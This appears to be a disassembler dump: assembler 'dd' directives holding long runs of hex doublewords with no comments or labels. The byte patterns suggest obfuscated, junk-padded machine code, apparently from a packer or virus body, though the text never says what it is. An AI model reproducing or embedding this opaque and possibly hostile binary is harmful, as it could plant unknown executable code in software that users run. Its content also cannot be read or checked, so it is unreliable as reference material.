		dd 8166AF53h, 0E8096CE2h, 0Ah, 0BB4B74AAh, 0FC1321DFh
		dd 58F5B84Eh, 8B66C38Bh, 0F28166D6h, 16BBD279h,	660ED80Eh
		dd 5943F181h, 0FBBAF0B5h, 0BE36635Bh, 22413003h, 8E9h
		dd 25E66C00h, 417ADE66h, 1B880F95h, 0E8000000h,	0Ah, 8EAE41C5h
		dd 14592091h, 5E80DAAh,	31000000h, 95C1BB05h, 57525B5Ah
		dd 59585F56h, 14E8h, 0B2E94E00h, 1525EACh, 77271214h, 2B8E2895h
		dd 1F686A8h, 68C0FD0h, 0F000000h, 8Bh, 0C8815E00h, 1D718770h
		dd 0BF0FCC8Ah, 0F98AFCD6h, 28D8BB66h, 0E935E180h, 0Dh
		dd 8E266AA7h, 92AA9399h, 0B8E1995Ch, 0B8E0FF2h,	0E9000000h
		dd 6, 5775C874h, 8F0F39DEh, 1, 0F8B70FFCh, 2A8B7BEh, 9E824h
		dd 991D0000h, 0EC604D40h, 66ECD80Fh, 1E0BDA81h,	8C0F505Ah
		dd 6, 0AD29E681h, 605E37F0h, 0EE9h, 362F9600h, 8DD03B2h
		dd 2B001F9Ah, 815DF68Ah, 29E80FEAh, 10E86146h, 18000000h
		dd 0A3087C4Eh, 0D0168EEDh, 0A99DADE8h, 0F913F2CEh, 0BB666059h
		dd 0E861C6CCh, 0Ch, 776A2ED2h, 4DFD8B5Eh, 118749BBh, 5F5AF951h
		dd 8BF08B66h, 5BE1BBC7h, 0D88144AAh, 52468DACh,	0B70F49B5h
		dd 0BE9F5D7h, 5F000000h, 0BB3A4924h, 0B757A4CCh, 0EE9302Dh
		dd 0F2000000h, 5D886DA4h, 5A79D3FEh, 42A4D91Eh,	0BB6FB605h
		dd 1C9FFAF8h, 2CB4F58Ah, 4CD18166h, 4C5BBEA7h, 0B966442Ah
		dd 0BEB67CABh, 11E950h,	5F280000h, 0ED8D9FA6h, 0C55174C8h
		dd 5B86E7D5h, 5874DD97h, 0BE8h,	0A302F300h, 8163E3EFh
		dd 0B0F705C5h, 6E7F19BFh, 6660587Bh, 286AEF81h,	5E9h, 3ED3600h
		dd 60616F86h, 5E860h, 132D0000h, 58CA3EA8h, 61DF8B66h
		dd 5E9h, 0D211D200h, 50617278h,	0C18A5AF9h, 87F68166h
		dd 0A8BB661Eh, 38F0FA8h, 80000000h, 0B70FBCDFh,	0E78166F2h
		dd 13E90382h, 0B7000000h, 0D04B5BDAh, 0C0A895F7h, 31AEFA54h
		dd 88ADD52Bh, 0B866851Dh, 0E860EDDAh, 14h, 0F2AE769h, 0FC695236h
		dd 0E93CD67Ch, 64844FC0h, 0E783DD74h, 58D9BF0Fh, 58A0Fh
		dd 0C2BA0000h, 610B89A8h, 665919BBh, 1053B966h,	0C88B3AB1h
		dd 0BE9h, 75820F00h, 0EFDD6899h, 2FC9D0BDh, 0C88B6650h
		dd 8D0FF55Ah, 4, 0F78BBF66h, 28E0Fh, 0E88A0000h, 0F38B66F9h
		dd 10E9h, 471AB900h, 186A7943h,	0BEC81737h, 562E4639h
		dd 56D38B1Fh, 18E0Fh, 59F80000h, 7E9h, 5F85E200h, 2A268E3Dh
		dd 60F78B66h, 614BD180h, 8D0F6060h, 0
		dd 800Fh, 66610000h, 61CDADBFh,	60FB8B60h, 61C3B70Fh, 8A0F6061h
		dd 5, 11CF8166h, 5BF952CAh, 0DC8AFC61h,	3880F60h, 66000000h
		dd 0D78BC38Bh, 2880F61h, 8A000000h, 0EDBF66C3h,	6BBEF511h
		dd 660D4C44h, 0E9FD4DBAh, 6, 0D6B31920h, 10E9ECD9h, 0CF000000h
		dd 1995FE47h, 472DEC9Eh, 49A384ECh, 0B7A23BBFh,	0DBB866E3h
		dd 6E94Ah, 8C6C0000h, 75CC1A9Ch, 8E9h, 0DCF2100h, 6B57B86Ch
		dd 8BFCF868h, 0F0BF0FC7h, 0D7BF0F60h, 0DE9h, 0F090BF00h
		dd 23268951h, 77D515FDh, 0F612633h, 687h, 0C9F18100h, 0F253830h
		dd 282h, 0FD88B00h, 38Fh, 0CAB70F00h, 8166F9F8h, 0E97907CBh
		dd 10h,	57E11EF2h, 0C80E45EAh, 5C5D065Fh, 109415D2h, 0CE8BABB4h
		dd 8B66DA8Bh, 0DA8166D0h, 66FC1F01h, 4BEAEE81h,	6840FFCh
		dd 60000000h, 6160CB8Bh, 6890F61h, 81000000h, 755C02DBh
		dd 0F6816655h, 880F8302h, 9, 3860Fh, 8B660000h,	0DB8166F9h
		dd 5E9AA04h, 0C7000000h, 7F0F6997h, 534B95BFh, 89F0811Eh
		dd 6028E58Ah, 0FDA8B66h, 8Fh, 0DE86100h, 27000000h, 0A1CF058Dh
		dd 454CDCADh, 455A330h,	4086AEBBh, 0BA505A6Ah, 0E528333h
		dd 8E1EBF5Ah, 1EB957E0h, 6633264Bh, 60B48FB8h, 0E6D98166h
		dd 0C18B665Ah, 0E400BF61h, 816636ADh, 0E9986CEBh, 7, 0E26B01B3h
		dd 6665DC54h, 572BE3BFh, 6059F1B4h, 61F88B66h, 0C5C28166h
		dd 60DCB70Ch, 5AF78B57h, 778B966h, 0F850FC61h, 0E820B55Fh
		dd 5, 3E64669Bh, 8EEB81EEh, 5B1A3E18h, 0EE9h, 0EC0E6100h
		dd 5914E67Dh, 9F852250h, 81D57F92h, 8C6082DBh, 1C99B831h
		dd 840F5201h, 2, 0E960BDB3h, 0Bh, 32F6A955h, 6F070595h
		dd 8AABF236h, 8B6661FDh, 860F56F1h, 2, 535B5A53h, 6B8BA66h
		dd 20BE575Bh, 5F2F7941h, 0E9F8B70Fh, 0Fh, 0D660D799h, 0E73268F8h
		dd 0D41592ADh, 512EF20Bh, 83CBF66h, 0DCEE815Fh,	81308C34h
		dd 20EFF5D3h, 8166F91Fh, 0F0FF8CAh, 1F8Eh, 14E800h, 0BFC40000h
		dd 0E540C18Ch, 11A14BEAh, 0C0430047h, 0D4141319h, 64B941E8h
		dd 5F3D8781h, 0F8E78A60h, 5810F61h, 0BA000000h,	3942CE44h
		dd 12E9h, 0D5D89E00h, 3EC741BCh, 2300E76Fh, 3878B837h
		dd 81B7DF61h, 8EA0D0E6h, 0DE972h, 1AE40000h, 0BBC9704h
		dd 0D098DBFAh, 81C7181Ah, 28FD44E7h, 58E0F09h, 66000000h
		dd 6EE0F681h, 13E9h, 7563F700h,	5B94CF0h, 42612573h, 5E48E020h
		dd 0C82EE016h, 28D4C181h, 7E95602h, 35000000h, 0CD6965B0h
		dd 81664520h, 0E9391CC9h, 7, 0F35D6709h, 0F18C233h, 0BE9F8BFh
		dd 4E000000h, 0D07A9742h, 91A9760Ch, 0CF8ADEC9h, 2800Fh
		dd 0F9B40000h, 0D18B6053h, 6E9h, 0FA121900h, 61D667FCh
		dd 5E96059h, 1E000000h,	86EC89E7h, 60FC6061h, 0D2C8BB66h
		dd 0EE96161h, 25000000h, 0C29041CFh, 0E9081207h, 0DA4B75E4h
		dd 0CE95317h, 89000000h, 725DB46Ch, 0C36345D1h,	5976A2AAh
		dd 0BF3FBB66h, 0DE860h,	0D2920000h, 1AEFE4BBh, 7F1C609Dh
		dd 8AF0B87Fh, 5E85FFCh,	3B000000h, 4751861Dh, 11E9h, 208ECF00h
		dd 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h, 615B503Ah, 10E8h
		dd 2B95A000h, 56860889h, 0B2B7A607h, 6984021Ah,	60E7818Eh
		dd 5A52B500h, 4D7156BEh, 0C0C3800Eh, 56EE8166h,	0EE9A2h
		dd 8F820000h, 10FCDD4Fh, 6273EC44h, 1885E5BDh, 0BF0FD68Bh
		dd 0DDF781F7h, 0B3702743h, 86CF80DBh, 96F68166h, 4840F88h
		dd 66000000h, 0F03D8BEh, 981h, 38A0F00h, 80000000h, 665063F6h
		dd 59CDA0B9h, 61605250h, 8B665A5Bh, 0C88B66C2h,	0DE9h
		dd 0FCA75A00h, 9D088602h, 9A7993D6h, 8B0F06B6h,	2, 0F4BFB7B7h
		dd 0F71A048h, 820FCEBFh, 2, 8B665952h, 0D38B66D3h, 1BE38166h
		dd 0F480F58Dh, 0F821B08Ah, 6FC11B9h, 0C981665Dh, 0C281156Ch
		dd 0F0D8DAh, 8166D4B6h,	0FCA3AE3h, 8Dh,	4CE48000h, 0DE98DB7h
		dd 0B6000000h, 8CA6BA44h, 7195463Eh, 6649C8C8h,	6E9h, 4EFC1300h
		dd 60BC59B8h, 38E0Fh, 0B70F0000h, 0CE8166D6h, 8B6110D3h
		dd 5032B1DEh, 4800Fh, 0BF660000h, 8B5E32EEh, 9E9DEh, 0D2480000h
		dd 0B2952189h, 5677C2A0h, 59FA8B66h, 0D276EDB8h, 5E92Fh
		dd 43190000h, 0BAC2B46Bh, 41AA3513h, 2870Fh, 3B20000h
		dd 13E8h, 24584000h, 4E2D1D60h,	931BB17Fh, 0BDC99E2Ch
		dd 0E3FA831Ah, 0E85A22B5h, 0Eh,	4798F8E6h, 0AAC11651h
		dd 25E51D28h, 8E0FF8A3h, 0
		dd 0FB8B665Bh, 9CBF66F5h, 5810FCEh, 0B8000000h,	1F83370Ch
		dd 13E932B1h, 0EC000000h, 0BC0D1FBDh, 4169AD9h,	61F7BC83h
		dd 2B3AD99Ch, 5E5684A4h, 5315BFBBh, 0B21EBA54h,	3FBF39C1h
		dd 8A331399h, 0B2D78BD0h, 8ABE6618h, 80DE8B61h,	8B66ADE6h
		dd 0DEF81C1h, 0B122C0BFh, 0F5260B4h, 84h, 0E7815E00h, 7619A7D1h
		dd 13E861h, 2ACB0000h, 0D015B6CBh, 77219BD1h, 0DAA33F5Fh
		dd 0EC97343Fh, 8E960F4h, 0B0000000h, 6F29DFB3h,	81CE3498h
		dd 4E4B5ECFh, 0F5A614Ch, 48Ah, 42B96600h, 0EEE813Fh, 0BB431026h
		dd 4E5CA2B4h, 16840Fh, 11E90000h, 73000000h, 118F0452h
		dd 38EC5B05h, 0AA2E12E5h, 0C158D36Fh, 68E0Fh, 0F6810000h
		dd 501DE5D8h, 5BFB2FBFh, 0EE914h, 693E0000h, 969B90F0h
		dd 55E7EAE9h, 39AD6CF0h, 66D6BF0Fh, 0F081F98Bh,	365AA087h
		dd 81F08B66h, 0D7E7E4E8h, 6860F13h, 0F000000h, 8Ch, 2850F00h
		dd 8B000000h, 60C28BCAh, 5E616056h, 61F2BF0Fh, 810Fh, 50600000h
		dd 0E85659FCh, 6, 3344F57Ch, 585FB8DDh,	0D81BA61h, 870F18B8h
		dd 0Ch,	6880Fh,	870F0000h, 0
		dd 0F15C780h, 38Fh, 0C18B6600h,	14E8h, 0B1F70C00h, 0AA5B9B83h
		dd 53685F8Ah, 92518B92h, 6BA1E5D1h, 0E3816642h,	0F59992Fh
		dd 6660F0B7h, 0BA8B60B8h, 2059AE6h, 1FF18161h, 0E900D508h
		dd 12h,	0DF2D146Ah, 45BF53E3h, 2B0A5781h, 0B5FE6754h, 0CB8B0D16h
		dd 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h, 170BD73Ah
		dd 6E9FCh, 0B1340000h, 717BDC22h, 0D3C5BB60h, 0F613E65h
		dd 885h, 2870F00h, 60000000h, 5E961h, 0C9420000h, 8A4572A9h
		dd 0E88166EEh, 840FD4F0h, 0
		dd 0FE960h, 0FFB20000h,	0EEA76CC2h, 9E33EF33h, 1DAE6E06h
		dd 0EE95Bh, 79E50000h, 0E01A88B4h, 0B0F55082h, 3B38F2A5h
		dd 76EDB961h, 0BF660793h, 0D2812DA5h, 2DF74FC0h, 0FE9h
		dd 226F1300h, 620DBD7Ah, 83A65B47h, 0F65802E6h,	10E8h
		dd 0EB394D00h, 20732C8h, 55E828EFh, 33E0F1BBh, 13E9B9h
		dd 0FAF0000h, 8B2BDFE5h, 2244DEE8h, 4FBA7F71h, 0F388535Eh
		dd 8B665F8Ch, 6E8F0h, 51150000h, 4982DBF4h, 6860Fh, 0C6810000h
		dd 1A013177h, 68D0F5Ah,	81000000h, 147449F7h, 0C880605Eh
		dd 0C18B6619h, 0F6816661h, 0C28B4699h, 0DE8B66F9h, 0EE9h
		dd 3AE37800h, 0AD59BB3Dh, 0CCA54284h, 8153946Eh, 5655C6D6h
		dd 0D9B70F5Dh, 68E0Fh, 0D8810000h, 2C70FFDEh, 2820Fh, 0CB8B0000h
		dd 8109C380h, 0FB8666D9h, 88A0F1Bh, 0F000000h, 28Ah, 0BB5B5200h
		dd 2A9F0C3Eh, 13E9h, 0CC4A2600h, 4DE2805h, 5C8E138Bh, 19763CB5h
		dd 80415F39h, 66CFB70Fh, 81C454BAh, 0CF2A9CF6h,	28F0F5Ah
		dd 8B000000h, 663AB1C6h, 66E313BBh, 8B66C28Bh, 0EE9F1h
		dd 4360000h, 1988C9A3h,	787F3FCBh, 8FBB1B19h, 2818BA50h
		dd 6658782Fh, 66CA84BBh, 81C29CBBh, 0A9217DDFh,	0CE96025h
		dd 0C4000000h, 901C2337h, 0C6A86B17h, 81F5239Eh, 0D66338E7h
		dd 8B666169h, 0CA8B66F0h, 0CE8h, 9A7F9100h, 0FEAA87FCh
		dd 0F7C78002h, 0CA816602h, 0E95E49D9h, 5, 84343E0Ah, 0CF8B662Bh
		dd 8E9h, 16CA400h, 25EAB76Eh, 81666072h, 6181FFEFh, 0E7816660h
		dd 68BB2CEDh, 61589450h, 0FFE28151h, 580E1188h,	0E281A0B7h
		dd 227B0F86h, 8AD98B66h, 0EB81F5EBh, 1C93FA0h, 17830Fh
		dd 0E8600000h, 0Ah, 5E00CCD7h, 218AAC5Eh, 0BF5F1A50h, 2447E088h
		dd 8E861h, 0C500000h, 18A97FF6h, 13E8AD2Ch, 0F9000000h
		dd 28C3A988h, 97ED427Ch, 5335B7EFh, 32F05B29h, 81661EDFh
		dd 5F2455EFh, 0F57535Ah, 82h, 0F5B5A00h, 186h, 14E9F900h
		dd 8B000000h, 942A4A4Ch, 70D08E3Fh, 8E1A76EFh, 5B652A45h
		dd 0F4F930Ch, 782h, 1820F00h, 0F5000000h, 0F5D98B66h, 7978D0BAh
		dd 0C0816637h, 12E99263h, 28000000h, 0BD6682A6h, 43D987C1h
		dd 47A0DDABh, 3252A9E9h, 0EE879h, 0FE980000h, 795746E0h
		dd 0BC6117D6h, 612F972Dh, 0EDF4B966h, 0F38B665Eh, 880F3AB6h
		dd 9, 0C6816660h, 5A572FF4h, 0CB8B5161h, 5FBB665Bh, 0C78B663Dh
		dd 12800Fh, 8B0F0000h, 0Ch, 6E8h, 4E540400h, 5FC5A840h
		dd 0CE9h, 41767400h, 54A8B9F9h,	8AD5542h, 68A0F4Ah, 81000000h
		dd 0FFCF3EDBh, 8AC2814Bh, 0B620B12Eh, 82BE6626h, 0F0B70FB9h
		dd 0E5BB66F9h, 810F6033h, 0
		dd 0DE961h, 51470000h, 28AAC116h, 0A325E51Dh, 0B8982FF8h
		dd 4FF7E023h, 52F9B70Fh, 5FCEBF0Fh, 76CC781h, 525260BBh
		dd 13E8595Eh, 4F000000h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh
		dd 0AD41E226h, 9E9917Ch, 12000000h, 0A17F9C7h, 0C9583EBh
		dd 0BF0F575Bh, 0FF95AF7h, 82h, 0BE800h,	1ACA0000h, 5BF13AAh
		dd 1C197339h, 665AF9A6h, 0C5BFC081h, 2830F60h, 60000000h
		dd 0C68B6161h, 0BB66FE8Ah, 0FB8BEEBAh, 0D8B0Fh,	8E90000h
		dd 3E000000h, 12BB20E3h, 666FCC54h, 10E9F88Bh, 0AE000000h
		dd 646E9C20h, 0C3C38A86h, 397C15CAh, 0B91A7324h, 6F1BC332h
		dd 0F95DE580h, 63744ABAh, 0C8BF6636h, 0FB2B4DAh, 581h
		dd 0F12CB800h, 0B70F26B7h, 3EC8BAC2h, 0BE919FDh, 68000000h
		dd 6CAD7160h, 4D0EB058h, 0E9600ECEh, 13h, 0F891F696h, 0D3A3069Dh
		dd 37CF6B0Ch, 0D20927C4h, 0E8747780h, 10h, 4D074315h, 0D719BCCDh
		dd 0C4AD99E0h, 6EE27565h, 8F0Fh, 615A0000h, 60D98BFCh
		dd 13E960h, 59120000h, 0B8B37BB6h, 31A406C4h, 23336241h
		dd 0C31A7D78h, 0BF616153h, 134A8014h, 8E0Fh, 84B30000h
		dd 6BD5C381h, 0F56271Ch, 665FD0BFh, 0E8C3EBBAh,	8, 175FA65h
		dd 9F403BD5h, 5AF2BF0Fh, 1F830Fh, 0EE80000h, 0C6000000h
		dd 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh, 6E90Fh, 0F0EB0000h
		dd 4C36522h, 57BA6659h,	18F0F2Fh, 0F9000000h, 8D0FCE8Bh
		dd 0Bh,	6E9h, 3C4A300h,	66A1E90Fh, 0BBB675B8h, 8FDB056h
		dd 0BA17BE66h, 52C6CB81h, 60F56DE7h, 61CEBF0Fh,	5E9h, 439A5400h
		dd 0B8663CE2h, 0CE912D9h, 0A9000000h, 7A6A53A0h, 0D01A9835h
		dd 0E99A5FECh, 14h, 48CBB432h, 6F82B9C3h, 3DD11A7Bh, 0B78D9900h
		dd 850DDEC3h, 0EE9h, 0A526B300h, 0E9EB28E8h, 901ED3D5h
		dd 8BF916D9h, 0A4F180FBh, 8E860h, 23FA0000h, 4995EE71h
		dd 5A566BE9h, 619DB75Eh, 0F1816660h, 0BB60C14Eh, 1DA0D852h
		dd 6161FE8Ah, 8F0FF560h, 3, 61F9BF0Fh, 50DAB70Fh, 7E9h
		dd 61018900h, 0D5397F06h, 0BE95Bh, 0B1A90000h, 5E67F41Dh
		dd 0EF4A5B7Bh, 0CBA66A0h, 0D3816692h, 0BF0F0833h, 0BABE66D8h
		dd 8860F17h, 56000000h,	8D0Fh, 8A5F0000h, 816660F5h, 0FF177E2h
		dd 0F61F8B7h, 0D081D0B7h, 1CD19992h, 6631B2F5h,	8166C88Bh
		dd 0BE28BDEBh, 266F0EDBh, 0D0BB53F5h, 5E23B06Eh, 3880Fh
		dd 0B70F0000h, 0EE9F1h,	1ABD0000h, 3CE3FA83h, 0CDF19EE4h
		dd 755C4EB8h, 80F8BF0Fh, 0E8F560C6h, 13h, 591EDECh, 4E90DDDBh
		dd 0AF7FCCC4h, 8083E8F6h, 816B18FEh, 138E7ECBh,	0BF0F5B63h
		dd 0E9FA8BF3h, 0Ch, 0D2A55052h,	317C4DA4h, 378B929h, 8DBE6653h
		dd 0EE805E3Ch, 0B3C38BF9h, 0F2BF6635h, 14E868h,	77200000h
		dd 7DE24A94h, 5CBF144Ch, 50DB3234h, 77B7D1B4h, 0FE8AFA5h
		dd 7000000h, 36998BDAh,	4F20B774h, 0F14443E4h, 12E81DBBh
		dd 45000000h, 58FA36E7h, 804C49BEh, 4A45EE21h, 10E83DA9h
		dd 59585A70h, 8E9h, 35A7D900h, 0E389D4C3h, 72DF81D5h, 0F688CDCh
		dd 8Fh,	5800F00h, 66000000h, 59E3D981h,	8BC88B66h, 13BE66F2h
		dd 60C28B20h, 12E9h, 6EA3F300h,	79184C21h, 31006521h, 4771065h
		dd 61E7F712h, 0D68166F5h, 0E9F907B8h, 0Ah, 1DCF310Ah, 4FF78A32h
		dd 0E1B60855h, 0FCC9B70Fh, 0CA805260h, 816658DBh, 61B16ED6h
		dd 8BCA8166h, 0F41B18Bh, 284h, 0F1AB600h, 8B66D0BFh, 8BCE8BF2h
		dd 0DE8D6h, 0A5130000h,	672B9BF3h, 0F00E3DDFh, 8B0162CFh
		dd 0FE8B58D8h, 0D7816660h, 0F611EC4h, 88h, 0FA8B6600h
		dd 66D6BF0Fh, 8CFDC281h, 7E9h, 5ECA8200h, 0D1D1E6E0h, 5A35CF81h
		dd 10E81420h, 0D6000000h, 868F6331h, 0E1AB8733h, 42B7365Ah
		dd 0B4E4C4A6h, 0F60596Bh, 48Bh,	3AB96600h, 78D8808Dh, 0BF0F6061h
		dd 13E9F1h, 3B760000h, 0D27832EBh, 0ACC74F99h, 411E529Dh
		dd 32A1BAD1h, 0F506126h, 0F5AFABFh, 1782h, 12E900h, 56950000h
		dd 4B1BC914h, 0BA893D10h, 6D6A3C29h, 7456B53Eh,	0F380AEB5h
		dd 0B70F6027h, 816661D8h, 0F4DB1CEh, 68Eh, 61606000h, 0E9613FB1h
		dd 5, 9159938h,	6E9F0h,	83DE0000h, 61F0001Eh, 14E9h, 10221D00h
		dd 48DE44CAh, 12A0627Ch, 658070DBh, 76F93479h, 8B66603Ch
		dd 0AE9CEh, 0B4470000h,	908EFF8Eh, 5F710269h, 0E2816661h
		dd 8E0FA23Fh, 1Ah, 148D0Fh, 0FE90000h, 40000000h, 18E62974h
		dd 0FCE8C9C3h, 0D83695CDh, 8D0FBA7Dh, 2, 0AE80AB6h, 82000000h
		dd 84663BC3h, 0D044748Dh, 0CE916h, 634A0000h, 0F1D3369Eh
		dd 2629B4E8h, 0BB5EFFC3h, 74741193h, 8C0Fh, 0AE80000h
		dd 61000000h, 6FA28D72h, 83C1A11Bh, 7E8EBh, 6D2D0000h
		dd 9452A3B7h, 7E867h, 32070000h, 0E9A6911Ch, 5F5F5F9Ah
		dd 0F9DA8B66h, 13E9h, 20533600h, 0A2994F8Bh, 0E5930283h
		dd 4997A71Bh, 0C301DBh,	10E8F5h, 0A96E0000h, 2A2BE079h
		dd 0E77BFAABh, 0F2C10EDCh, 0C68BABDCh, 2820F5Bh, 51000000h
		dd 0D18B6658h, 0F53CF8Bh, 1585h, 10E900h, 15B60000h, 219BD1D0h
		dd 0A33F5F77h, 97343FDAh, 605FF4ECh, 309D2B8h, 614CB10Bh
		dd 8153D38Bh, 188A3CD8h, 0BE85F2Ah, 0A4000000h,	0B27B07D1h
		dd 0C5332C16h, 0F605CAFh, 8B66D2B7h, 0B05A61F9h, 0C1BE66F7h
		dd 14E8F8h, 51E00000h, 84299219h, 0C3F4D90Eh, 14C45685h
		dd 5FF9BF17h, 7E99F01h,	2F000000h, 0CF94BA22h, 0F55E9BC6h
		dd 81C68BFCh, 0D126E9E2h, 0B70F601Ah, 0D18166C0h, 8B6145B4h
		dd 606050FAh, 0E85B6161h, 13h, 9443B44Ah, 0CDAFDC96h, 37595516h
		dd 0E63A629Eh, 66747FEBh, 0D5E5D881h, 7E85Eh, 0EF990000h
		dd 4B9916B9h, 0CA8B666Eh, 3810F58h, 0F000000h, 0F60CFB7h
		dd 28Dh, 56C38A00h, 1A65E681h, 615B13EAh, 0B8F6BF0Fh, 16B42F14h
		dd 88F680FCh, 1D870FFCh, 0E8000000h, 14h, 0D0B3B3E4h, 669B002Fh
		dd 0C4EE3E64h, 0FBA2216Ch, 2B75C4BDh, 59FEBF0Fh, 0AE9h
		dd 4D103B00h, 0BA1C6DB0h, 0F39BDCEh, 0B70FF8B7h, 0ADB2F8DFh
		dd 11E9h, 6FF67C00h, 48294E6Fh,	0B11364C1h, 63666047h
		dd 9E8405Ah, 1E000000h,	3C1DE903h, 1324D99Eh, 0F3C98060h
		dd 58615856h, 0FF28B66h, 189h, 0FE8BF800h, 0C38BC18Bh
		dd 6612C780h, 0D0CEA81h, 8BE9C081h, 10E932E1h, 0BC000000h
		dd 0FA4AFC2Fh, 88FFB8C4h, 127CD8FFh, 66203C3Fh,	68BFF78Bh
		dd 0B950635Ch, 7E206F40h, 6E8h,	258B2600h, 80735949h, 0E95BDEE6h
		dd 0Dh,	0B2E0EAF8h, 486B771Dh, 1FA41463h, 8BCA8AAAh, 0BFF680C3h
		dd 0BCE4DB81h, 0CE84364h, 0A0000000h, 760E8BD1h, 0A056996Bh
		dd 811CC6C6h, 2878ADEFh, 8B0F5F18h, 0Eh, 7E8h, 0D92B500h
		dd 0F7972591h, 0EE85EFCh, 0BC000000h, 6F2B375h,	0ECD6AC4Ah
		dd 0D2480425h, 59B86089h, 6634ADE0h, 61231DBFh,	60E38A5Fh
		dd 0CB8D65BBh, 61DF8B4Ah, 9E8h,	0B826BC00h, 8CBF4C1h, 0C88B8B28h
		dd 0CB8B665Bh, 0CD09D081h, 8B6607B6h, 0AE8CFh, 0B2EC0000h
		dd 0D80670B1h, 1A1CCDADh, 39BF6656h, 0E9595B01h, 8
		dd 0DF77A139h, 2CA0FC0Dh, 0B890FFCh, 0F000000h,	584h, 4235B900h
		dd 81665E57h, 0F4404EAh, 0FF8F9BFh, 988h, 3870F00h, 80000000h
		dd 0E9608AC9h, 7, 0AE6964A7h, 60CC4A26h, 0F27DD80h, 83h
		dd 60616100h, 12E9h, 0AFCE3C00h, 9A5B2BCFh, 2A8202E0h
		dd 0A4C0589Ch, 0E872797Bh, 14h,	40A3EDD6h, 167EB477h, 8C5F2C0h
		dd 0E2B5E292h, 5088BA2Eh, 615B6160h, 8166D08Bh,	0BF9B31E7h
		dd 3DF455D9h, 0B1D68166h, 0D6B70F79h, 14E9h, 2BEE6F00h
		dd 0B6ADA348h, 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 5E813h
		dd 8FB30000h, 0F498E56h, 182h, 665FF900h, 0B0DCEB81h, 8A0F6050h
		dd 0
		dd 665F61F8h, 10E9D88Bh, 0B6000000h, 0E8F95EB5h, 0CAD46E0Ch
		dd 0CD974BF0h, 66C3368Eh, 8B0FFB8Bh, 8,	860F53h, 5E000000h
		dd 3EF081FCh, 8B04FA5Eh, 38BB66C6h, 0EB816646h,	0FF8A15Ch
		dd 8Ah,	0CB815200h, 68D4434Dh, 9DAEBE5Bh, 0D78100CBh, 928263Dh
		dd 66FE8B66h, 0BC73D881h, 0FE8h, 89151900h, 47C886C2h
		dd 4227B701h, 9B76FEB6h, 10860Fh, 0BE90000h, 0F7000000h
		dd 0D7381EEBh, 150DEEB9h, 0E85A5325h, 13h, 0C77C1BFCh
		dd 2793C4B3h, 4CBDB3EEh, 732D60D4h, 80DA614Dh, 0F5860D0h
		dd 118Eh, 0CE900h, 0A4C20000h, 5527A0FDh, 121C45B0h, 0DF80599Fh
		dd 8166FCB4h, 60D146CBh, 0DE8166FCh, 606121C0h,	1810Fh
		dd 8AF50000h, 0F08A61F4h, 66F1BF0Fh, 25C7C981h,	2820Fh
		dd 0CE8B0000h, 13E9h, 4B0B7B00h, 0CC039320h, 609ADBECh
		dd 0B8E31673h, 0EE097B14h, 0F1B952h, 605F5D03h,	10E9h
		dd 2E94FB00h, 6855AF74h, 3B60D229h, 3DC3AC2Dh, 13E98Ah
		dd 5DB30000h, 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah
		dd 12E96122h, 0B1000000h, 4C76C9F9h, 6F789547h,	8A484CF1h
		dd 80EEE2F5h, 8E96073h,	0CE000000h, 0F2871434h,	6167ED52h
		dd 0C2CB8166h, 2AB86668h, 18C0FA7h, 0F8000000h,	44DF8166h
		dd 3ED68192h, 0B8171B7Ch, 722F0964h, 0FAD380F5h, 0B70FDE8Bh
		dd 0F78B66F7h, 0E9CEB70Fh, 0Dh,	4303D88Ch, 984F2455h, 0F11A9B14h
		dd 0DB816631h, 8F0FE326h, 0Bh, 58D0Fh, 81660000h, 0FE7F1E8h
		dd 386h, 0C3BF0F00h, 6E8h, 0F60FEA00h, 0E895ED08h, 14h
		dd 5BAB71B6h, 0BFF311Ah, 141B547Fh, 0B4F1273Ch,	0A2ACB600h
		dd 5AF6BF0Fh, 18D0F58h,	0F5000000h, 66CFCC80h, 66F398B8h
		dd 669DA5BAh, 13E9F98Bh, 88000000h, 0EB5C2444h,	6A29ACDh
		dd 0C838D97Ah, 76B55ED9h, 71B9A6A0h, 0F23DA46h,	58Bh, 0DF816600h
		dd 0D1B2600Bh, 0CD53B6B8h, 81666079h, 0FCAE2E8h, 0B81h
		dd 6E900h, 53B60000h, 0CE17DDA0h, 98C78161h, 666BEBBDh
		dd 0DE9C28Bh, 68000000h, 3B77ED22h, 3C42253Ah, 0E372C755h
		dd 11E8h, 0FB666800h, 0D787DFB1h, 936610CEh, 127E98C9h
		dd 0B70F0F99h, 0C3815FD2h, 3A2E247Ch, 2800Fh, 0C58A0000h
		dd 60DEBF0Fh, 1860Fh, 66F50000h, 5B9FF781h, 3800F61h, 0F000000h
		dd 8E8DEBFh, 0AB000000h, 332E2DFDh, 58745AAFh, 11E9h, 397D5100h
		dd 121E85BBh, 0DC3C7B79h, 9005C44Dh, 4DBE2E86h,	0B838BCEAh
		dd 0D7100D5h, 7E9h, 88BA2E00h, 0F562BB50h, 92D086BBh, 0DF8B514Ah
		dd 4830F5Bh, 66000000h,	819B7DBAh, 0C22B96EEh, 0D18B6615h
		dd 8E8h, 7342D200h, 6FEF9FF8h, 0BCE381CEh, 5A170350h, 80C18B66h
		dd 870F55F5h, 6, 0F1C1D281h, 81667E6Bh,	66C878D3h, 0FF5F78Bh
		dd 8Fh,	5FE48000h, 5E9h, 2811C800h, 0E9B18A2Ah,	0E6FF1FBBh
		dd 8BD78A51h, 0E28AFCCEh, 2850Fh, 5B560000h, 66F18B66h
		dd 0C2DBEA81h, 0E8D6B70Fh, 11h,	22F2B766h, 0A5ED581Fh
		dd 0C017FF6Dh, 2F2F05ADh, 5BEB8AA9h, 5E9h, 28F6EF00h, 38BF8C59h
		dd 0E973C156h, 10h, 798BFA5Bh, 0CBBECAE2h, 0E5E6AC7Ah
		dd 725B0330h, 0EE856h, 0F5860000h, 1399396h, 269065B1h
		dd 0B9A0C34h, 585A6160h, 12E8h,	2CBCAA00h, 0A173C171h
		dd 0A09DDAA9h, 0EB030007h, 6612F53Ah, 0F59D98Bh, 8F0FD7B7h
		dd 2, 6E9E18Ah,	19000000h, 67FCFA12h, 0FCA8BD6h, 85h, 9E900h
		dd 0F3700000h, 62C9EDF4h, 50C1AC2Bh, 137CB966h,	0D98B6658h
		dd 0D98B6653h, 9E85Ah, 8E530000h, 7EE35C9Ch, 0FE8754Bh
